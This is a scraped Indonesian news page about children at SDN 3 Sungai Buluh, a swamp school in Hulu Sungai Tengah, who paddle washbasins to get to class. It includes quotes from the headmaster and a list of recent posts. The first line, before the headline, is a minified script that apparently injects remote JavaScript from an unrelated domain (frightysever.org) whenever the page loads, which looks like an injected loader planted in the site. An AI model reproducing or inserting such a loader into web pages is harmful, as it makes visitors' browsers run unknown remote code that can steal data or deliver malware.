(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Demi Menuntut Ilmu, Anak-anak Mengayuh Baskom Pulang Pergi Sekolah di Wilayah Rawa HST


KANALKALIMANTAN.COM, BARABAI – Tak biasa diluar kelaziman, bahkan nyaris nyawa menjadi taruhannya, tapi bagi anak-anak di Desa Sungai Buluh, Kabupaten Hulu Sungai Tengah (HST), adalah sebuah hal yang normal.

Ketika harus pulang pergi ke sekolah menempuh jalur air dengan jukung, seperti yang dilakukan anak-anak di Kabupaten HST ini, saat hendak ke sekolah yang dikelilingi air, sebagian pelajar harus melewati rawa dengan mengayuh sebuah baskom. Baskom mereka jadikan alat transportasi layaknya perahu atau jukung.

Walau harus menggunakan baskom untuk melawati rawa pulang pergi ke sekolahnya, tak menyurutkan semangat anak-anak dalam menuntut ilmu.

 

 

Baca juga: 556 Karateka Berlaga di Kejuaraan Karate Lemkari Open 2022

Itu yang dilakukan anak-anak pelajar SDN 3 Sungai Buluh yang berada di Desa Sungai Buluh Kecamatan Labuhan Amas Utara (LAU), Kabupaten HST.

Kepada Kanalkalimantan.com, Kepala Sekolah SDN 3 Sungai Buluh, Mursalin mengatakan, sekolah yang dibinanya berada di tengah rawa yang hanya bisa dilalui dengan alat transportasi air seperti kelotok -perahu bermesin- dan jukung.

Memang diakuinya tak jarang para peserta didiknya menggunakan baskom yang hanya muat satu anak untuk menuju ke sekolah. Namun, dalam segi pembangunan sekolah pemerintah daerah berkomitmen untuk memeratakan pendidikan di seluruh wilayah.

“Bisa dibilang sekolah kami termasuk kategori terpencil, karena tidak adanya akses jalan dan listrik. Namun, hanya menggunakan genset dan panel surya yang merupakan kerja sama dengan pemerintah daerah,” ujarnya, Sabtu (26/3/2022).

Menuju ke lokasi SDN 3 Sungai Buluh yang terletak di tengah rawa harus menggunakan klotok dengan estimasi waktu 15 menit dari pelabuhan terdekat.

Baca juga: Hijaukan 58 Hektare Hutan Hujan Tropis di Kawasan Perkantoran Pemprov Kalsel

Di SDN 3 Sungai Buluh ini hingga sekarang sudah mempunyai 25 peserta didik dan 7 orang untuk tenaga pengajar.

“Kami mempunyai 25 siswa didik dan 7 tenaga pendidik yang siap untuk mencerdaskan anak bangsa,” bebernya.

Diakuinya, tak jarang anak-anak peserta didik dalam berangkat ke sekolah harus menggunakan baskom sebagai alat transportasi mereka. Hal ini disebabkan kelotok maupun jukung yang menjadi transportasi warga di Desa Sungai Buluh terkadang dipakai orangtuanya untuk mencari ikan.

“Saya saja terharu melihat perjuangan anak-anak menggunakan baskom, menandakan dalam kondisi apapun mereka tetap semangat menuntut ilmu,” ungkapnya.

Dilain sisi, dikatakan Mursalin, ketika proses belajar mengajar sebagian peserta didiknya hanya menggunakan pakaian biasa tanpa kenakan seragam sekolah. Namun, hal tersebut tidak menjadi penghalang bagi peserta didik, maupun tenaga pengajar dalam berbagi ilmu dan mendapatkan ilmu.

“Semoga, kelak anak-anak ini bisa melanjutkan sekolah yang lebih tinggi dan semangat mencapai impiannya,” harap Mursalin. (Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.